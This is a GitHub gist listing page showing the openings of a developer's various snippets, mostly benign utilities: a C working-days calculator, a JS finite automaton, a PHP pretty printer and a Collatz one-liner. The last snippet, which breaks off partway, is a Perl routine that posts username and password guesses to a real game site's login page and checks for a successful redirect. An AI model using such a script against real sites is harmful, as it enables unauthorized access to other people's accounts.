Skip to content

Instantly share code, notes, and snippets.

@luelista
luelista / workingdays.c
Last active August 29, 2015 14:01
Workingdays - Calculate the number of business days in a given year
// Workingdays - Calculate the number of business days in a given year
// Copyright (c) 2014 Max Weller
// COMPILE AND RUN:
// $ gcc -o workingdays workingdays.c
// $ ./workingdays -h
// Tested with Apple LLVM version 5.1 (clang-503.0.40) (based on LLVM 3.4svn) (x86_64-apple-darwin13.1.0)
// and gcc version 4.6.3 (Ubuntu/Linaro 4.6.3-1ubuntu5) (x86_64-linux-gnu)
@luelista
luelista / fgdi-dfautomaton.js
Last active August 29, 2015 14:00
Deterministic Finite Automata to search for the substrings '01', '010' and 'hallo'
#!/usr/bin/node
// A = (alphabet, states, q0, Delta, Z)
//--> Deterministic Finite Automaton
function Automaton(alphabet, Q, q0, Delta, Accept) {
this.alphabet = alphabet;
this.Q = Q;
this.q0 = q0;
Imports System.Text.RegularExpressions
Imports System.Reflection
Public Class BatchProcessor
Event TraceEvent(ByVal varName As String, ByVal varData As String, ByVal codeLine As Integer)
Event PrintEvent(ByVal text As String, ByVal codeLine As Integer, ByVal lineBreak As Boolean)
Private Shared rJumpTarget As New Regex("^\s*([a-zA-Z0-9_]+):\s*")
Private Shared rCall As New Regex("^\s*[a-zA-Z]+\s+(([a-zA-Z0-9_]+(\[.*\])?)\s*=\s*)?(([a-zA-Z0-9_.]+::)|([a-zA-Z0-9_]+\.))([a-zA-Z0-9_]+)\s*(.*)")
Private Shared rCallSet As New Regex("^\s*SET\s+(([a-zA-Z0-9_.]+::)|([a-zA-Z0-9_]+\.))([a-zA-Z0-9_]+)\s*(.*)\s*=\s*(.*)", RegexOptions.IgnoreCase)
@luelista
luelista / gist:6691138
Created September 24, 2013 20:58
Crash report for node-webkit: Trying to display popup menu (context menu) on OS X 10.9
2013-09-24 22:49:42.625 node-webkit[94806:3513] assertion on /SourceCache/DataDetectorsCore/DataDetectorsCore-354/Sources/Lookup/DDABSource.m:226 "(typeAsNumber != NULL) && (CFGetTypeID(typeAsNumber) == CFNumberGetTypeID()) && (CFNumberGetType(typeAsNumber) == kCFNumberSInt64Type)" failed :DDABAddRecord should not be called with NULL type
2013-09-24 22:49:42.625 node-webkit[94806:3513] DDABAddRecord should not be called with NULL type
2013-09-24 22:49:42.625 node-webkit[94806:3513] An uncaught exception was raised
2013-09-24 22:49:42.625 node-webkit[94806:3513] condition "DDABAddRecord should not be called with NULL type"
2013-09-24 22:49:42.626 node-webkit[94806:3513] (
0 CoreFoundation 0x9bf706b1 __raiseError + 193
1 libobjc.A.dylib 0x9ac7a091 objc_exception_throw + 162
2 CoreFoundation 0x9bf705cb +[NSException raise:format:] + 139
3 DataDetectorsCore 0x91a88e72 DDRaiseException + 66
4 DataDetectorsCore
@luelista
luelista / prettyprint.php
Created February 28, 2013 16:22
Pretty Printer for PHP source code
<?php
// Pretty Printer for PHP source code
// Edit the (relative or absolute) path to your project here:
$root = "../../Notendb/notendb2/";
// Edit the page title here:
$pageTitle = "Notendb - Anhang B: Quelltext";
/**
* By TooTallNate, originally posted at https://gist.github.com/1785026
* A quick little thingy that takes a Stream instance and makes
* it emit 'line' events when a newline is encountered.
* Modified by Max Weller to accept custom line feed characters (e.g. \r\n)
*
* Usage:
* ‾‾‾‾‾
* var emitLines = require('./emitLines');
* emitLines(process.stdin, "\n")
@luelista
luelista / __SimpleImage.class.php
Created October 25, 2012 00:22
Extend Taskfreak to support elRTE Wysiwyg Editor and Image upload via copy-paste ....... description of difference to regular taskFreak and SCREENSHOT here: http://test.teamwiki.de/taskfreak-mods/
<?php
/*
* File: SimpleImage.php
* Author: Simon Jarvis
* Copyright: 2006 Simon Jarvis
* Date: 08/11/06
* Link: http://www.white-hat-web-design.co.uk/articles/php-image-resizing.php
*
* This program is free software; you can redistribute it and/or
@luelista
luelista / wikipedia-philosophy-loop.pl
Created May 27, 2011 21:36
Wikipedia trivia: if you take any article, click on the first link in the article text not in parentheses or italics, and then repeat, you will eventually end up at "Philosophy".
#!/usr/bin/perl
use strict;
use warnings;
use Switch;
use LWP::Simple qw($ua);
# changing User Agent string because Wikipedia.org blocks default LWP::Simple User Agent
$ua->agent("WikiBot/0.1");
@luelista
luelista / gist:996169
Created May 27, 2011 21:07
perl one-liner for Collatz sequence
$ perl -e "$_=shift;while($_>1){if($_%2){$_*=3;$_++;}else{$_/=2;}print++$c,\"# $_\n\"}" 12345
use LWP::UserAgent;
my $ua = LWP::UserAgent->new;
sub tryit {
print "trying $_[0]:$_[1] ... ";
my $r = $ua->post("http://www.rise-of-light.de/secure/login.php",
Content => "username=".$_[0]."&passwd=".$_[1]);
if($r->header("Location") =~ /welcome/) {